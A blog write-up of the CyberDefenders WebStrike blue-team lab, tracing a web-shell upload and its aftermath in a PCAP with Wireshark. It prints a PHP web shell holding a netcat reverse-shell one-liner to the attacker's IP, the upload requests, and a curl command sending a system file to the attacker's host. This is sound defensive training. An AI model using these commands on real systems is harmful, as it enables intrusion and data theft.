I’m switching gear a bit and hopping over to CyberDefenders today. I’ve not yet used it, and to be honest with you I hadn’t even heard of CyberDefenders before.
I think this more on my part though. The two well-known platforms, being TryHackMe and HackTheBox, are the only ones I had heard of. TryHackMe has been a great experience so far, I’ll still be using it daily (and posting write-ups for the rooms), but I’ll definitely be checking out CyberDefenders’ content from here on. Hands-on blue team experience is something I’ve been focusing on lately, so stay tuned for more!

Today I’m going through the WebStrike lab. Feel free to follow along if you want.

Scenario

A suspicious file was identified on a company web server, raising alarms within the intranet. The Development team flagged the anomaly, suspecting potential malicious activity. To address the issue, the network team captured critical network traffic and prepared a PCAP file for review. Your task is to analyze the provided PCAP file to uncover how the file appeared and determine the extent of any unauthorized activity.

Sounds interesting!

We’ll be looking at PCAP files for this challenge. So that means we’ll need to get our hands dirty with WireShark. It’s a very useful tool that I’ve used before in some labs, but those were very hand-hold-y. After taking a look through the rest of the questions I can see that there are hints available, but I want to see how far I can get without taking a look at them. I’ll note any questions where I needed some hints.

So, let’s start the lab machine and see what the PCAP has in store for us!

Question 1

Identifying the geographical origin of the attack facilitates the implementation of geo-blocking measures and the analysis of threat intelligence. From which city did the attack originate?

First things first let’s take a look at the PCAP and filter the IP addresses. From the Scenario introduction we know that this is a network capture from a web-server, so it’s safe to say that we can filter for the GET requests to find out IP.

Let’s open up WireShark and open the WebStrike.pcap file we’re given for this task. Once it’s loaded apply the filter: http.request.method == GET to filter any http GET requests.

There is only one address that is shown: 117.11.88.124 (With the Destination (The web server) being 24.49.63.79).

There are a few different tools that we can use to get the answer. ipinfo.io is one that I’ve used for a few years now. It has a nice API that you can use to query information about (no surprises) IPs. Whatever tool you use for this, you should easily be able to find the city.

Question 2

Knowing the attacker’s User-Agent assists in creating robust filtering rules. What’s the attacker’s Full User-Agent?

We can use the filter ip.addr == 117.11.88.124 && http.user_agent to filter for the packets that only contain User-Agent information. This doesn’t actually reduce the number of packets shown but for a larger packet capture it’s good to ensure that no other artifacts leak into the filter.

Once we apply this filter we can see the answer under the HTTP section: Add alt-text

Question 3

We need to determine if any vulnerabilities were exploited. What is the name of the malicious web shell that was successfully uploaded?

The web-shell was uploaded so I used the display filter ip.addr == 117.11.88.124 && http.request.method == POST.
For the first request I followed the HTTP stream and saw this:

POST /reviews/upload.php HTTP/1.1
Host: shoporoma.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------240702681933131672661702936221
Content-Length: 688
Origin: http://shoporoma.com
Connection: keep-alive
Referer: http://shoporoma.com/reviews/
Upgrade-Insecure-Requests: 1

-----------------------------240702681933131672661702936221
Content-Disposition: form-data; name="name"

asd
-----------------------------240702681933131672661702936221
Content-Disposition: form-data; name="email"

asd@asd.com
-----------------------------240702681933131672661702936221
Content-Disposition: form-data; name="review"

asd
-----------------------------240702681933131672661702936221
Content-Disposition: form-data; name="uploadedFile"; filename="image.php"
Content-Type: application/x-php

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 117.11.88.124 **** >/tmp/f"); ?>

-----------------------------240702681933131672661702936221--
HTTP/1.1 200 OK
Date: Thu, 30 Nov 2023 18:43:57 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 20
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Invalid file format.

From the above information we get some pretty interesting information. We can see the web-shell was uploaded through the ‘reviews’ section of the website, with the URL http://shoporoma.com/reviews/.

We can also see the fields needed in the form: Name, Email, Review, and a field named uploadedFile.

If we look at the above POST request further we can see the information that was given here:

Name: asd
Email: asd@asd.com
Review: asd
uploadedFile: image.php

I thought this was pretty funny when I first saw it. When I’m entering dummy form data to, I don’t know, sign into free wifi or test something, I’ll just tap away at random keys. asd is in sequential order on standart QWERTY keyboards, so it’s funny to think of an attacker lazily drumming their keyboard when they’re uploading a web-shell to a target website.

That’s our answer then, right? The question was for the name of the malicious web-shell. Initially I thought this too, but image.php is not correct. We get a hint of this at the very bottom of the output I posted above:

Invalid file format.

Alright, so the file format was incorrect. There might be some sort of input sanitization on the form that doesn’t allow php files, smart. So what do we do now? Let’s take a look at the second packet (and HTTP stream) that was displayed with our earlier filter.

POST /reviews/upload.php HTTP/1.1
Host: shoporoma.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------26176590812480906864292095114
Content-Length: 687
Origin: http://shoporoma.com
Connection: keep-alive
Referer: http://shoporoma.com/reviews/
Upgrade-Insecure-Requests: 1

-----------------------------26176590812480906864292095114
Content-Disposition: form-data; name="name"

asd
-----------------------------26176590812480906864292095114
Content-Disposition: form-data; name="email"

asd@asd.com
-----------------------------26176590812480906864292095114
Content-Disposition: form-data; name="review"

asd
-----------------------------26176590812480906864292095114
Content-Disposition: form-data; name="uploadedFile"; filename="*****.****.***"
Content-Type: application/x-php

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 117.11.88.124 **** >/tmp/f"); ?>

-----------------------------26176590812480906864292095114--
HTTP/1.1 200 OK
Date: Thu, 30 Nov 2023 18:44:19 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 26
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

File uploaded successfully

Once again we see the keyboard mash-ed form-data but can see that the uploadedFile now has .jpg in it (I’ve banked this out). This was successfully uploaded, as per the final line of the above tcp stream.
We get some more information here on the actual web-shell itself, but more on that later.

Question 4

Identifying the directory where uploaded files are stored is crucial for locating the vulnerable page and removing any malicious files. Which directory is used by the website to store the uploaded files?

I did this a weird way. The previous question showed us that the POST requests went through to /reviews/upload.php. So, I entered /reviews/.
This was wrong.

Like TryHackMe, we’re given additional hints towards the answer in the answer field. When we go to answer there’s some hint text that reads: /*******/*******/. From this we know that the expected answer will be a subdirectory, probably of /reviews/.

So what to do now?

I followed a few more of the HTTP streams to try find this but wasn’t getting anywhere. With a little more knowledge of Apache (Or of how the web-server saves files) this might be a simple answer.

I took the weird route. We know that a web-shell was uploaded, so it’s very likely that the attacker will use that at some point… So let’s just filter for requests that specify the name of the web-shell with _ws.col.info contains "*****.****.***" (Blanked out as per the previous question).

From here we can see the URI used when the web-shell is used. I was half correct with my initial answer of /reviews/. Now that we’ve applied the above filter to find where the info column contains the webshell name, we can see the other half of the answer! Easily done, let’s move on to the next question!

Question 5

Which port, opened on the attacker’s machine, was targeted by the malicious web shell for establishing unauthorized outbound communication?

I said we would get back to the tcp stream!
On the initial search for the filename of the web-shell I saw something that caught my eye:

Content-Disposition: form-data; name="uploadedFile"; filename="*****.****.***"
Content-Type: application/x-php

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 117.11.88.124 **** >/tmp/f"); ?>

We can see the whole web-shell right there. Let’s take a little walk through what it’s actually doing in each section:

Breaking down a Web-Shell one-liner (for fun and profit)

php system() Pretty simple, runs the code in the enclosed bracket in the shell.


rm /tmp/f; Removes the file at /tmp/f. This is to prepare for the next command…


mkfifo /tmp/f; Creates a named pipe at /tmp/f. This will be important in a bit.


cat /tmp/f Reads the data at /tmp/f.


| /bin/sh -i 2>&1 The above data read from /tmp/f is then piped into /bin/sh (the shell). -i is for an interactive shell. 2>&1 redirects the shell’s stderr into stdout.


|nc 117.11.88.124 **** >/tmp/f Then all of that is piped into a netcat connection to the previously identified attacker IP, At the specific port mentioned (now blanked). The final line then redirects the data from netcat through to the /tmp/f file and closes the loop, listening and reading commands over and over. A neat little shell!

Question 6

Recognizing the significance of compromised data helps prioritize incident response actions. Which file was the attacker attempting to exfiltrate?

We can take a look through POST requests which go from the webserver to the attacker IP. We also know which port is being used by the web-shell.
ip.addr == 117.11.88.124 && tcp.dstport == **** was the first display filter I tried. It returned 79 packets so I decided to start from the top and follow the tcp stream…

/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ uname -a
Linux ubuntu-virtual-machine 6.2.0-37-generic #38~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Nov  2 18:01:13 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
$ pwd
/var/www/html/*******/*******
$ ls /home
ubuntu
$ cat /***/******
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:113:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:116::/run/uuidd:/usr/sbin/nologin
systemd-oom:x:108:117:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin
tcpdump:x:109:118::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin
whoopsie:x:117:124::/nonexistent:/bin/false
sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
fwupd-refresh:x:120:126:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
saned:x:122:129::/var/lib/saned:/usr/sbin/nologin
colord:x:123:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:124:131::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false
gdm:x:128:134:Gnome Display Manager:/var/lib/gdm3:/bin/false
ubuntu:x:1000:1000:ubuntu,,,:/home/ubuntu:/bin/bash
$ curl -X POST -d /***/****** http://117.11.88.124:443/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100   368  100   357  100    11  56774   17[393 bytes missing in capture file].$ 

We can see all the actions taken by the attacker here:

  1. Ran whoami to get the username of the service that’s running the webshell.
  2. Next up, they ran uname -a to get the system information.
  3. pwd is next up, printing the current working directory so they know where they are. Note that this also reveals the answer for question four
  4. ls /home is just listing the home directory. We can see the user ubuntu has a directory here. Neat.
  5. cat /***/****** I’ve blocked out the file that the attacker reads. Based on the output above though (the big ol’ wall of text) you can probably guess what it was. This is a common file for attackers to target.
  6. curl -X POST -d /***/****** http://117.11.88.124:443/ finally we get to the exfiltration part of this attack. The curl command sends a POST request with the data (-d) being that valuable file that was just read with cat. The destination of this request is the attacker’s ip, to port 443. So they’re probably running a simple python webserver to retrieve the file once this curl command has run.

The answer to this question is that big valuable file that was read, and then exfiltrated with curl.

Conclusion

This was a fun room! As I mentioned I’ve never used CyberDefenders before, but after this I’ll definitely be jumping in and using it more often. Getting hands on experience with WireShark is always good to have.

Stay tuned for more!